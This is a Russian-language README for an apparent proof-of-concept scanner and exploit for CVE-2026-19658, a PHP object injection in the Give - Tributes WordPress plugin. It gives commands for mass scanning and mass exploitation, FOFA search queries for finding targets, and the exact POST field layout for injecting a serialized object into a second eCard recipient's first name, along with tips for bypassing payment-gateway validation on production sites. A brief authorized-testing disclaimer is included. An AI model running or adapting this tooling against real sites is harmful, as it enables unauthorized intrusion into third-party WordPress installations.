
Python 3-инструмент для проверки и эксплуатации CVE-2026-19658 — уязвимости инъекции PHP-объектов в WordPress-плагине Give Tributes, с поиском целей через FOFA и эксплуатацией устаревшей формы пожертвований.
Python 3 proof-of-concept сканер и вспомогательный эксплойт цепочки донатов для CVE-2026-19658 в WordPress-дополнении Give - Tributes (Liquid Web / GiveWP).
| Платформа | WordPress-плагин (требуется ядро GiveWP) |
| Компонент | Give - Tributes |
| Уязвимые версии | ≤ 2.3.1 |
| Исправлено в | 2.3.1.1+ (санитизированные поля eCard с несколькими получателями) |
| CVSS | 9.8 Critical |
| Аутентификация | Не требуется (устаревшая форма донатов) |
| CWE | CWE-502 — Десериализация недоверенных данных |
| Назначивший | Wordfence |
Когда для eCard включена опция Allow Multiple Recipients, а eCard custom message отключено (по умолчанию), уязвимые версии сохраняют сырые данные получателей eCard из $_POST в метаданных доната. Валидация полей GiveWP использует копию $_POST, обработанную give_clean() (сериализованные строки там обнуляются), но insert_tribute_data() читает несанитизированный $_POST, поэтому first_name / last_name второго получателя могут содержать сериализованный PHP-объект.
Воздействие: Известной POP-цепочки внутри одного Give Tributes нет. Метаданные десериализуются при чтении (например, при предпросмотре/повторной отправке eCard в админке). RCE или деструктивное воздействие требует gadget-цепочки из другого установленного плагина или темы.
[give_form] / v2), а не только v3 Visual Form Buildermanual на dev/staging)pip install -r requirements.txtpip install -r requirements.txt
# Single target — check (terminal flow on by default for --list)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 20 --flow
# Single target — exploit (authorized targets only)
python poc.py -u https://target.example --mode exploit \
--form-url /donate/ --form-id 123 --gateway manual \
--payload 'O:8:"stdClass":0:{}'
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
--vuln-list exploited.txt
Примеры:
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"
Список хостов (один домен на строку):
python poc.py --list my_hosts.txt --mode check --threads 20 --flow
Экспорт FOFA CSV:
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20
Используйте --vuln-list exploited.txt при запусках эксплойта, чтобы попадания проверки в hits.txt не перезаписывались.
status при проверкеУдалённое сканирование не может надёжно увидеть «Allow Multiple Recipients»; кандидаты всё ещё могут не пройти на этапе эксплойта.
first_name.manual часто отключён в продакшене — попробуйте шлюзы, видимые на форме (stripe, paypal, test, …).give validation rejected donation: несоответствие опций tribute/notify, суммы или шлюза.give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Локальные списки сканирования и артефакты запусков (list.txt, fofa*.csv, *.jsonl, hits.txt, …) находятся в .gitignore и не должны коммититься.
Только для авторизованного тестирования безопасности и обучения. Вы несёте ответственность за соблюдение применимых законов и правил программ.
| Опция | Описание |
|---|
-u, --url | Один базовый URL |
--list | Список URL, файл хостов или candidates.jsonl |
--mode | check или exploit |
--form-url | Путь к странице донатов или полный URL |
--form-id | ID записи формы Give |
--paths | Дополнительные пути для обхода в поисках форм |
--payload | Сериализованный объект для first_name второго получателя |
--gateway | payment-mode Give (по умолчанию manual) |
--email | give_email донора |
--flow | Одна строка на цель при массовых запусках (по умолчанию с --list) |
--no-flow | Только сводка о прогрессе |
--quiet, -q | Минимальный вывод в консоль |
--threads, -j | Параллелизм при массовых запусках (по умолчанию 12) |
--output | JSONL-лог (по умолчанию cve_2026_19658_results.jsonl) |
--vuln-list | Текстовые попадания / строки эксплойта (по умолчанию hits.txt) |
--candidates-list | JSONL с метаданными проверки (по умолчанию candidates.jsonl) |
| Файл | Режим | Содержимое |
|---|
cve_2026_19658_results.jsonl | оба | Полный JSON по каждой цели |
hits.txt | check | URL с exploitable_candidate |
candidates.jsonl | check | best_form, подсказки о версии |
exploited.txt | exploit | url|payment=… при подтверждённом донате |
| Статус | Значение |
|---|
candidate | Уязвимый плагин + Give + устаревшая форма с UI tributes |
vulnerable_no_form | Плагин/версия в порядке, подходящая форма не найдена на обойдённых путях |
patched | Tributes > 2.3.1 или ≥ 2.3.1.1 (когда версия читается) |
give_only | Give без обнаруживаемых Tributes |
no_plugin | Tributes не обнаружен |